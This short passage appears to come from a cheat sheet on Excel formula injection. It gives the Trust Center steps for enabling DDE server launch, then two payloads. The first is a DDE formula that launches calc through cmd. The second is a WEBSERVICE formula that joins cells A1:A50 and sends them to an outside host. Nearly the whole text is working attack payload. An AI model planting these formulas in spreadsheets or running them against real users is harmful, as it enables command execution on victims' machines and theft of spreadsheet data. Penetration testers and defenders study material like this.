MS Excel 365 has to have enabled DDE launch (disabled by default). File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch
=cmd|' /C calc'!A0 =WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))
Last updated 2 hours ago